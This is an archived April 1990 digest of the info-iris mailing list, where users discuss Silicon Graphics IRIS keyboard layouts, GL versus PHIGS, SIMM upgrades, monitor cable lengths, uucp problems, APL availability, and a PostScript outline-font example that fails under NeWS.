VGR.BRL.MIL id aa05974; 19 Apr 90 19:14 EDT Received: from ucsd.edu by trout.nosc.mil (5.59/1.27) id AA15193; Thu, 19 Apr 90 16:15:44 PDT Received: from chema.ucsd.edu by ucsd.edu; id AA03685 sendmail 5.61/UCSD-2.0-sun via SMTP Thu, 19 Apr 90 16:15:40 -0700 for @nosc.mil:info-iris@brl.mil Received: by chem.chem.ucsd.edu (5.51) id AA09076; Thu, 19 Apr 90 16:15:18 PDT Date: Thu, 19 Apr 90 16:15:18 PDT From: Steve Dempsey Message-Id: <9004192315.AA09076@chem.chem.ucsd.edu> To: info-iris@BRL.MIL Subject: A suggestion to SGI regarding keyboards The most recent wave of "how do I fix my IRIS keyboard layout" postings continues to beg the question of why SGI still uses these things. If someone from SGI can tell us the benefits of the current layout I'm sure the user community would appreciate hearing of them. Nevertheless, I have just seen a possible solution that will let SGI keep their PC/AT layout while allowing the rest of us to have something more useful. An X terminal manufactured by HDS (Human Designed Systems) comes with a keyboard that has a switch on the bottom that interchanges the Ctrl and Caps Lock keys, AND they give you keycaps for both layouts. Simple, elegant, and no POSTSCRIPT or plastic surgery required. -------------------------------------------------------------------------------- Steve Dempsey (619) 534-0208 Dept. of Chemistry Computer Facility, B-014 INTERNET: sdempsey@ucsd.edu University of Calif. at San Diego BITNET: sdempsey@ucsd La Jolla, CA 92093 UUCP: ucsd!sdempsey   Received: from vmb.brl.mil by VMB.BRL.MIL id ab08800; 19 Apr 90 22:00 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa08753; 19 Apr 90 21:50 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa08679; 19 Apr 90 21:34 EDT Received: from ucbvax.Berkeley.EDU by ADM.BRL.MIL id aa24929; 19 Apr 90 19:57 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA14431; Thu, 19 Apr 90 16:44:31 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 19 Apr 90 15:01:11 GMT From: Michael Zeitlin Organization: Texaco Houston Res. Cntr Hou, Tx Subject: GL vs PHIGS Message-Id: <413@texhrc.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL There is a raging debate beginning in our company about GL vs. PHIGS... There is a feeling that PHIGS is the only way to go and that vendors that don't actively support it (by supply and maintainance) and optomize its performance won't be strongly considered.... I really like GL and feel it is superior to PHIGS, but how can I argue to management and to the system gurus, that supporting GL won't hinder portability.... What is it that GL can do (specifically) that PHIGS can't....? AND of coarse...PEX! PEX is going to solve all our problems so I'm told.....How can GL compete with PEX! I'm looking for ammunition from my GL/IRIS colleagues out there so I can intelligently argue on behalf of GL as a valid 3D graphics system regardless of the window system (we all know will be X (how i'll miss NeWS).... Please post or mail fact tidbits I can use in my rhetorical arsenal... There has to be a definitive set of reasons why GL is the best way to go.... my mail path is.... ....nuchat!texhrc!mjz Michael   Received: from vmb.brl.mil by VMB.BRL.MIL id aa08996; 19 Apr 90 22:32 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa08556; 19 Apr 90 21:22 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa08464; 19 Apr 90 21:08 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa05560; 19 Apr 90 17:54 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA06487; Thu, 19 Apr 90 14:43:57 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 19 Apr 90 21:21:06 GMT From: Jim Hollan Organization: /u/hollan/.organization Subject: Max Cable Lengths Message-Id: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Does anyone have experience locating monitors and keyboards more than 75 feet from the machine? What is the limit? We are interested in data for both Personal Irises and Power Series machines. Jim Hollan Bell Communications Research Email: hollan@bellcore.com   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09321; 19 Apr 90 23:33 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09300; 19 Apr 90 23:22 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa09190; 19 Apr 90 23:06 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa06217; 19 Apr 90 20:41 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA17949; Thu, 19 Apr 90 17:38:16 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 19 Apr 90 23:35:57 GMT From: Tony Rick Organization: Tektronix Inc., Beaverton, Or. Subject: Re: putting 4Mb SIMMS in 4D/20 Message-Id: <721@tekadg.ADG.TEK.COM> References: <718@tekadg.ADG.TEK.COM> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I said I would summarize, so here it is, even if Thilaka (Thilaka Sumanaweera , Message-ID: <11364@portia.Stanford.EDU>) got here first. Andrew Simms (no relation?) said Hitachi SIMMs don't work. He tried some others that worked in a 4D/25. He tried them in a 4D/20. They weren't found at boot time, but worked anyway. He didn't say what the other ones were. Is this the machine at Princeton that Alex Sunguroff (Impediment Inc.) was talking about? Scott Kahn said that only the 4D/25 PROMS would recognize 4Mb SIMMS. Steve Lamont said his SGI sales rep told him told him SGI had 4Mb SIMMS for $650/Mb. I talked to Brian Morimoto, SGI Western Region Sales Rep in Bellevue, Washington (206-641-0067). He said the 4D/20 was designed for 4Mb SIMMs, but they were unavailable at shipping time. SGI has a memory upgrade package consisting of 1Mb SIMMs in dual height packages. They work in 4D/20 and 4D/25, and can be mixed with the regular 1Mb SIMMs. He also said the 20MHz IPU upgrade (HU-4D25A) turns the 4D/20 into a 4D/25. Thanks to Andrew, Scott, and Steve for responding. Thilaka, I await your results. Good Luck. Tony Rick Tektronix, Inc. Beaverton, OR email: tonyr@tekadg.adg.tek.com voice: 503-627-2942   Received: from vmb.brl.mil by VMB.BRL.MIL id aa15221; 20 Apr 90 10:31 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa14468; 20 Apr 90 9:49 EDT Date: Fri, 20 Apr 90 9:36:11 EDT From: Gary S. Moss (VLD/VMB) To: Steve Dempsey cc: info-iris@BRL.MIL Subject: Re: A suggestion to SGI regarding keyboards Message-ID: <9004200936.aa14328@VMB.BRL.MIL> < Nevertheless, I have just seen a possible solution that will let SGI keep < their PC/AT layout while allowing the rest of us to have something more useful. < An X terminal manufactured by HDS (Human Designed Systems) comes with a < keyboard that has a switch on the bottom that interchanges the Ctrl and Caps < Lock keys, AND they give you keycaps for both layouts. Simple, elegant, and < no POSTSCRIPT or plastic surgery required. Well, fixing the Ctrl and Caps Lock is a big part of it, but what about keys like ~`,Esc,|\, etc? SGI's keyboard is screwed up beyond anything that key remapping can fix. Of course now that I have switched from a Sun 3/50 keyboard to the Sun 3/80 type 4 model, I can't reach the Return key, but it still beats out SGI by leaps and bounds. Why SGI is going after the PC (gag me) market rather than appealing to software developers, who have a much larger role in influencing workstation buys, is beyond me. I guess that's why I'm not in marketing. SGIs are great, as long as you have a Sun within reach on the same Ethernet. Even if they fixed the keyboard, you still couldn't use the console since the windowing system won't let you change input focus independent of the cursor position, a requirement for some of our software (no, holding a key down while you move the cursor out of the window is not a fix for this problem).   Received: from vmb.brl.mil by VMB.BRL.MIL id aa16960; 20 Apr 90 12:45 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa16246; 20 Apr 90 11:32 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa16094; 20 Apr 90 11:14 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa08427; 20 Apr 90 8:56 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA27974; Fri, 20 Apr 90 05:47:50 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 20 Apr 90 05:04:56 GMT From: Joel Tenenbaum Organization: SUNY Purchase Subject: uucp on noisy lines Message-Id: <2@purvid.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I am using a SGI 3130 as a local switchboard in addition to some graphics work. Its only link to the uucp net (...hsi!mlfarm!purvid) involves a rather noisy phone line to southeastern Connecticut. The symptoms include very low effective transfer rates (10 cps on a 1200 baud line) and occasional failures to hang up the phone line to mlfarm. (Modem is a Multitek 2400) A comparison test using a Toshiba T1200 running a PC version of uucp (uupc) was able to get throughputs of 180 cps at 2400 baud. It used the same modem and line on a plug replacement basis. A dump at the -x5 level in uucp shows errors in 500 packets out of 700 transmitted. Has anyone had similar experiences with SGI 3130's on noisy lines? [uname -a for the 3130 is: purvid purvid GL2-W3.6 01261856 m68020 GL2 GL2.4 3130] Joel Joel Tenenbaum ...{yale,uunet}!hsi!mlfarm!purvid!joel   Received: from vmb.brl.mil by VMB.BRL.MIL id aa18043; 20 Apr 90 14:19 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab17650; 20 Apr 90 13:58 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa17502; 20 Apr 90 13:40 EDT Received: from aero4.larc.nasa.gov by VGR.BRL.MIL id aa08807; 20 Apr 90 10:16 EDT Received: Fri, 20 Apr 90 10:18:04 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Fri, 20 Apr 90 10:18:04 EST From: "Brent L. Bates AAD/TAB MS361 x42854" Message-Id: <9004201718.AA07609@aero4.larc.nasa.gov> To: moss@BRL.MIL Subject: Re: A suggestion to SGI regarding keyboards Cc: info-iris@BRL.MIL I agree, SGI needs to replace the keyboard with something useful. Your last note, about input focus, can be fixed. I don't remember how to do it, but someone posted a solution to that problem (feature?) to info-iris before. The only problem is that it stays in effect for the entire login period. Personally, both modes have their advantages and disadvantages. After getting use to it, most of the time I like having input focus where the cursor is, however, some applications require input focus to be independent of cursor position. It would be nice if there was a subroutine call you could make that would disable the cursor input focus and another to reenable it. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa19752; 20 Apr 90 16:52 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa18980; 20 Apr 90 15:59 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa18855; 20 Apr 90 15:43 EDT Received: from Princeton.EDU by VGR.BRL.MIL id aa08544; 20 Apr 90 9:25 EDT Received: from acm.Princeton.EDU by Princeton.EDU (5.61++/2.32/relay) id AA13960; Fri, 20 Apr 90 09:27:11 -0400 Received: from fourier.Princeton.EDU by acm.Princeton.EDU (5.61/1.101) id AA15619; Fri, 20 Apr 90 09:27:15 -0400 Received: by fourier.Princeton.EDU (5.61/1.95) id AA01254; Fri, 20 Apr 90 09:27:13 -0400 Date: Fri, 20 Apr 90 09:27:13 -0400 From: ams@acm.princeton.edu Message-Id: <9004201327.AA01254@fourier.Princeton.EDU> To: info-iris@BRL.MIL Subject: Re: putting 4Mb SIMMS in 4D/20 To clarify slightly, yes, it was my machine at Princeton, a 4D/25G. It successfully recognized and used 64MB of 4mbit simms (the max) for about 3 days (we had the stuff on eval from Impediment). I tried the simms in each of my 3 4D/20s of varying ages and found that the boot ROM did not recognize them. I assumed this meant they would not work so I did *NOT* let the machine boot. However, some time later Impediment told me someone else had encountered the same symptoms, except they let the machine boot in spite of the errors. The machine apparently came up and unix used and recognized the memory. --ams _________________________________________________________________________ Andrew Simms, System Manager Program in Applied and Computational Mathematics Princeton University 218 Fine Hall, Washington Road ams@acm.princeton.edu Princeton, NJ 08544 609/258-5324 609/258-1054 (fax)   Received: from vmb.brl.mil by VMB.BRL.MIL id aa19818; 20 Apr 90 17:02 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa19445; 20 Apr 90 16:31 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa19172; 20 Apr 90 16:11 EDT Received: from Frodo.Physics.McGill.CA by VGR.BRL.MIL id aa09730; 20 Apr 90 12:33 EDT Received: from smaug.Physics.McGill.CA by frodo.Physics.McGill.CA id AA04776; Fri, 20 Apr 90 12:24:50 EDT (5.59++/IDA-1.1S) Received: by smaug.Physics.McGill.CA id AA05671; Fri, 20 Apr 90 12:22:35 EDT (5.52/IDA-1.1C) Date: Fri, 20 Apr 90 12:22:35 EDT From: Ian Graham Message-Id: <9004201622.AA05671@smaug.Physics.McGill.CA> To: info-iris@vgr.brl.mil Subject: Iris/NeWS PostScript Problem..... Iris/NeWS PostScript problem: I have been having problems previewing (using psview or say) any PostScript file which tries to generate it's own fonts (ex, output from a TeX to PostScript filter or modification of standard fonts to give, for example, outline fonts) The following example (From `PostScript Language: Tutorial and Cookbook', Adobe Systems Inc., page 199-201: Program 16 ) works on an Apple Laserwriter but not using say or psview on the Iris. In fact, it seems to fail while copying the base font dictionary to the outline font dictionary. --------- CUT HERE FOR WORKING PostScript FILE --------------------- %! /makeoutlinedict 7 dict def /MakeOutlineFont { makeoutlinedict begin /uniqueid exch def /strokewidth exch def /newfontname exch def /basefontname exch def /basefontdict basefontname findfont def /numentries basefontdict maxlength 1 add def basefontdict /UniqueID known not { /numentries numentries 1 add def } if /outfontdict numentries dict def basefontdict { exch dup /FID ne { exch outfontdict 3 1 roll put } % seems to fail around here.. { pop pop } ifelse } forall outfontdict /FontName newfontname put outfontdict /PaintType 2 put outfontdict /StrokeWidth strokewidth put outfontdict /UniqueID uniqueid put newfontname outfontdict definefont pop end } def /Helvetica-Bold /Helvetica-Outline1 1000 54 div /Helvetica-BOld findfont dup /UniqeID known { /UniqueID get 1 add } { pop 1 } ifelse MakeOutlineFont /Helvetica-Outline1 findfont 36 scalefont setfont 72 504 moveto (outline) show 72 -504 moveto (outline) show -72 -504 moveto (outline) show -72 504 moveto (outline) show showpage ---------------- THIS IS THE END SO CUT HERE TOO! --------------- Does anyone know what the problem is? Am I just being stupid or am I missing something fundamental about the NeWS PostScript interpreter? And is there a way to work-around this problem? I am not on the noticeboard (yet!) so please mail any answers directly to me: igraham@physics.mcgill.ca Thanks a lot, Ian Graham. igraham@physics.mcgill.ca   Received: from vmb.brl.mil by VMB.BRL.MIL id ab21609; 20 Apr 90 23:04 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab21555; 20 Apr 90 22:48 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id ab21521; 20 Apr 90 22:40 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa11841; 20 Apr 90 20:13 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA10730; Fri, 20 Apr 90 17:00:59 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 20 Apr 90 17:08:09 GMT From: Dave Ciemiewicz Organization: Silicon Graphics, Inc. Subject: Re: A suggestion to SGI regarding keyboards Message-Id: <6611@odin.corp.sgi.com> References: <9004192315.AA09076@chem.chem.ucsd.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004192315.AA09076@chem.chem.ucsd.edu>, sdempsey@UCSD.EDU (Steve Dempsey) writes: > The most recent wave of "how do I fix my IRIS keyboard layout" postings > continues to beg the question of why SGI still uses these things. > If someone from SGI can tell us the benefits of the current layout I'm sure > the user community would appreciate hearing of them. > > Nevertheless, I have just seen a possible solution that will let SGI keep > their PC/AT layout while allowing the rest of us to have something more useful. > An X terminal manufactured by HDS (Human Designed Systems) comes with a > keyboard that has a switch on the bottom that interchanges the Ctrl and Caps > Lock keys, AND they give you keycaps for both layouts. Simple, elegant, and > no POSTSCRIPT or plastic surgery required. > ------------------------------------------------------------------------ -------- > Steve Dempsey (619) 534-0208 > Dept. of Chemistry Computer Facility, B-014 INTERNET: sdempsey@ucsd.edu > University of Calif. at San Diego BITNET: sdempsey@ucsd > La Jolla, CA 92093 UUCP: ucsd!sdempsey The never ending saga of the keyboard. Key sequences in Unix made heavy use of the control key. Since the micro world didn't make use of Unix, keyboard standards strayed from the what would be good for Unix users to what would be good for others. Now that the IBM-PC/AT clones dominate the computer marketplace, everyone, including the Apple Mac extended keyboard conforms to some minor variation of the PC/AT keyboard. The transition from the IRIS 3000 series to the IRIS 4D series included the adoption of the IBM PC/AT keyboard layout. At the time, I was told one of the major reasons for adopting this keyboard layout was that it conformed to some number of european standards. Another reason for using "standard" keyboards is that keyboard suppliers are tooled to supply this layout. Using standard parts reduces the cost to the consumer verses using custom parts. A couple years ago, I was not personally enthralled with the change over in keyboard layouts. Now that I have a microcomputer at home, I am quite happy that the keyboard layout between my micro and my IRIS 4D/70 are almost identical. In fact, I purchased a different keyboard than one sold by the manufacturer because they saw fit to place the locator bumps on the "D" and "K" keys instead of on the "F" and "J" keys like just about everyone else. Looking at what is done in the micro industry, rebinding keys or buying an alternative layout keyboard appears to be the way users will be solving layout preference issues. From the manufacturers, at least, the de facto standard layout will continue to reign for some time. Since I don't know of any alternative suppliers of IRIS 4D compatible keyboards, the only suggestion I can offer is the one you already know, rebind the keys. I personally like the idea you mention from HDS of having a configurable keyboard. I've recently seen a keyboard offered for the Mac which has interchangable parts and layout. It seems like a great idea for third party vendors. I wonder if the market for alternative IRIS keyboards is large enough to make it worth a keyboard vendor's while? --- Ciemo   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21673; 20 Apr 90 23:14 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21453; 20 Apr 90 22:34 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa21423; 20 Apr 90 22:24 EDT Received: from SGI.COM by VGR.BRL.MIL id aa11032; 20 Apr 90 17:28 EDT Received: from relay.sgi.com by sgi.sgi.com (5.52/900406.SGI) for info-iris@brl.mil id AA17947; Fri, 20 Apr 90 14:13:08 PDT Received: from forest.sgi.com by relay.sgi.com (5.52/891101.SGI) for @sgi.sgi.com:hollan@bellcore.com id AA18480; Fri, 20 Apr 90 14:12:57 PDT Received: from localhost.sgi.com by forest.sgi.com (5.52/890923.SGI) for @relay.sgi.com:info-iris@brl.mil id AA12956; Fri, 20 Apr 90 14:12:57 PDT Message-Id: <9004202112.AA12956@forest.sgi.com> To: Jim Hollan Cc: info-iris@BRL.MIL Subject: Re: Max Cable Lengths for monitors In-Reply-To: Your message of 19 Apr 90 21:21:06 +0000. Date: Fri, 20 Apr 90 14:12:53 PDT From: baskett%forest@sgi.com You can do more than 75 feet but the picture gets fuzzy. The pixels spread out, you know. I used to be able to explain the physics of why but I've forgotten. There are some small companies that make fiber optic repeaters that can give you several thousand feet of cable with sharp pictures. I think their primary market so far has been for government type installations so the volumes have been low and the prices are still high ( ~$4000 - last time I checked). Forest Baskett Silicon Graphics   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21745; 20 Apr 90 23:25 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac21609; 20 Apr 90 23:04 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa21584; 20 Apr 90 22:49 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa11926; 20 Apr 90 20:42 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA13356; Fri, 20 Apr 90 17:39:58 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 21 Apr 90 00:32:06 GMT From: Steve Lamont Organization: Foo Bar Brewers Cooperative Subject: Re: A suggestion to SGI regarding keyboards Message-Id: <1984@speedy.mcnc.org> References: <9004200936.aa14328@VMB.BRL.MIL> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004200936.aa14328@VMB.BRL.MIL> moss@BRL.MIL ("Gary S. Moss", VLD/VMB) writes: >Well, fixing the Ctrl and Caps Lock is a big part of it, but what about >keys like ~`,Esc,|\, etc? SGI's keyboard is screwed up beyond anything >that key remapping can fix. ... *Please*, SGI, don't "fix" the keyboard. I've finally become used to it and would hate to have to go through the one or two hours that learning an new keyboard would take. :-) spl (the p stands for press Ctrl-Left-Meta- Elbow-Bucky-Alt- Delete) -- Steve Lamont, sciViGuy (919) 248-1120 EMail: spl@ncsc.org NCSC (The other one), Box 12732, Research Triangle Park, NC 27709 Don't send in no bums. I want deals. -John Steinbeck, _The Grapes of Wrath_   Received: from vmb.brl.mil by VMB.BRL.MIL id aa22051; 20 Apr 90 23:35 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21555; 20 Apr 90 22:48 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa21521; 20 Apr 90 22:40 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa11839; 20 Apr 90 20:13 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA10795; Fri, 20 Apr 90 17:02:05 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 20 Apr 90 22:33:43 GMT From: Rob Warnock Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: A suggestion to SGI regarding keyboards Message-Id: <57576@sgi.sgi.com> References: <9004192315.AA09076@chem.chem.ucsd.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004192315.AA09076@chem.chem.ucsd.edu> sdempsey@UCSD.EDU (Steve Dempsey) writes: +--------------- | An X terminal manufactured by HDS (Human Designed Systems) comes with a | keyboard that has a switch on the bottom that interchanges the Ctrl and Caps | Lock keys, AND they give you keycaps for both layouts. Simple, elegant, and | no POSTSCRIPT or plastic surgery required. +--------------- But I didn't/don't *want* to "swap" the CapsLock & Ctrl!!! I wanted to turn CapsLock into another Ctrl, and have *no* "stateful" shift keys anywhere near the home row of the keyboard. If you just swap them, the same accident happens: You (well, you may not, I do) occasionally bonk the (new) "CapsLock", and all my "vi" command letters turn into disasters! That's why I'm so happy with the "keyswap.ps" solution. (Personally, I also chose to map NumLock to CapsLock. But it's way out of the way [good!]... and the CapsLock LED is right there to show you what you just did.) p.s. I'm no fan of -AT keyboards... -Rob ----- Rob Warnock, MS-9U/510 rpw3@sgi.com rpw3@pei.com Silicon Graphics, Inc. (415)335-1673 Protocol Engines, Inc. 2011 N. Shoreline Blvd. Mountain View, CA 94039-7311   Received: from vmb.brl.mil by VMB.BRL.MIL id ab22051; 20 Apr 90 23:36 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21609; 20 Apr 90 23:04 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa21582; 20 Apr 90 22:47 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa11895; 20 Apr 90 20:27 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA12227; Fri, 20 Apr 90 17:22:25 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 21 Apr 90 00:09:23 GMT From: Wayne Oldford Organization: University of Waterloo Subject: APL for SGI Personal Iris? Message-Id: <1990Apr21.000923.9868@water.waterloo.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Greetings: Does anyone know of an implementation of APL for the Silicon Graphics Inc. I would like to purchase a Personal Iris 4D25G(T) for research work on scientific graphics, however the machine is to do double duty as a platform for some APL programming. Does anyone have any ideas? Thanks in advance: R.W. Oldford rwoldford@water.waterloo.edu or rwoldford@water.uwaterloo.ca -- Internet: rwoldford@water.waterloo.edu UUCP: {allegra,clyde,decvax,ihnp4,utzoo}!watmath!water!rwoldford   Received: from vmb.brl.mil by VMB.BRL.MIL id aa23764; 21 Apr 90 6:30 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23505; 21 Apr 90 5:38 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa23491; 21 Apr 90 5:23 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa13357; 21 Apr 90 1:27 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA00870; Fri, 20 Apr 90 22:27:09 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 21 Apr 90 03:32:02 GMT From: Dan Miller Organization: The CASE Center, Syracuse University, Syracuse, NY Subject: Re: APL for SGI Personal Iris? Message-Id: <3074@rodan.acs.syr.edu> References: <1990Apr21.000923.9868@water.waterloo.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Well, you could always get SoftPC and install a PC compatable version of APL such as STSC*APL-plus ... but you'd sacrifice speed. I know that STSC makes a version of APL that runs in VMS, but I don't know if they've done it for UNIX ... I imagine all they'd need is a device driver or two to map the characterset to the 4Sight screen. -djm - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - Dan Miller | djmiller@zookeeper.cns.syr.edu | djmiller@p4050.case.syr.edu CST 3-208 | djmiller@sunrise.acs.syr.edu | djmiller@rodan.acs.syr.edu = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = "Obstacles are what you see when you take your eyes off the goal." CLARKE'S THIRD LAW: Any sufficiently advanced technology is indistinguishable from magic.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24792; 21 Apr 90 14:38 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa24688; 21 Apr 90 13:56 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa24671; 21 Apr 90 13:43 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa14753; 21 Apr 90 11:27 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA29234; Sat, 21 Apr 90 08:17:15 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 21 Apr 90 10:50:06 GMT From: Urs Meyer Organization: University of Zurich, Department of Computer Science Subject: Re: 4 mbit memory on personal iris Message-Id: <1990Apr21.105006.23641@gorgo.ifi.unizh.ch> References: <9004192059.AA04391@aero4.larc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <9004192059.AA04391@aero4.larc.nasa.gov> blbates@AERO4.LARC.NASA.GOV ("Brent L. Bates AAD/TAB MS361 x42854") writes: > > Here is a list I have compiled from info-iris mail. All comments are > ... > [ list deleted ] > > Brent L. Bates I am interested in the minimum required speed for those chips. We use 85 ns chips for 4D/20's and for a 4D/70GT with no problems at all. Since we plan to acquire a faster machine, I need to know what kind of chips are needed for 4D/200's and 4D/300's. Are 85ns chips fine or do we need faster ones? How fast? Urs Meyer ---------- meyer@ifi.unizh.ch, {uunet,...}!mcsun!cernvax!unizh!meyer University of Zurich, Dept of Computer Science, Multimedia Lab, CH-8057 Zurich   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25827; 21 Apr 90 21:51 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa25630; 21 Apr 90 20:28 EDT Received: from vgr.brl.mil by VMB.BRL.MIL id aa25617; 21 Apr 90 20:14 EDT Received: from ucbvax.Berkeley.EDU by VGR.BRL.MIL id aa15297; 21 Apr 90 17:13 EDT Received: by ucbvax.Berkeley.EDU (5.62/1.41) id AA18528; Sat, 21 Apr 90 14:11:26 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 21 Apr 90 20:05:45 GMT From: "Peter S. Shenkin" Organization: Columbia University Subject: Re: A suggestion to SGI regarding keyboards Message-Id: <1990Apr21.200545.13644@cunixf.cc.columbia.edu> References: <9004192315.AA09076@chem.chem.ucsd.edu>, <57576@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <57576@sgi.sgi.com> rpw3@sgi.com (Rob Warnock) writes: >In article <9004192315.AA09076@chem.chem.ucsd.edu> sdempsey@UCSD.EDU >(Steve Dempsey) writes: >+--------------- >| An X terminal manufactured by HDS (Human Designed Systems) comes with a >| keyboard that has a switch on the bottom that interchanges the Ctrl and Caps >| Lock keys.... > >But I didn't/don't *want* to "swap" the CapsLock & Ctrl!!! I wanted to turn >CapsLock into another Ctrl, and have *no* "stateful" shift keys anywhere >near the home row of the keyboard. If you just swap them, the same accident >happens: You (well, you may not, I do) occasionally bonk the (new) "CapsLock", >and all my "vi" command letters turn into disasters! I don't have an Iris, but hope to, eventually, and that's why I monitor this newsgroup. So I don't have much experience with 4D keyboards. I do, however, have a Sun, and the same keyboard wars were fought about a year ago in comp.sys.sun. On my 386i keyboard, I often hit the ` instead of RETURN. It's a bore. I don't know if this is an AT-style keyboard, since I don't use AT's! As far as the caps-lock key problem is concerned, however, I've "fixed" this inelegantly though effectively on a number of keyboards by simply removing the keypad. Though you can still depress the key if you try, it's difficult, and it's just about impossible to do so by accident. (The little holding clip remains, but below the level of the other keys) -P. ************************f*u*cn*rd*ths*u*cn*gt*a*gd*jb************************** Peter S. Shenkin, Department of Chemistry, Barnard College, New York, NY 10027 (212)854-1418 shenkin@cunixc.cc.columbia.edu(Internet) shenkin@cunixc(Bitnet) ***"In scenic New York... where the third world is only a subway ride away."***   Received: from vmb.brl.mil by VMB.BRL.MIL id aa27013; 22 Apr 90 5:58 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa26963; 22 Apr 90 5:37 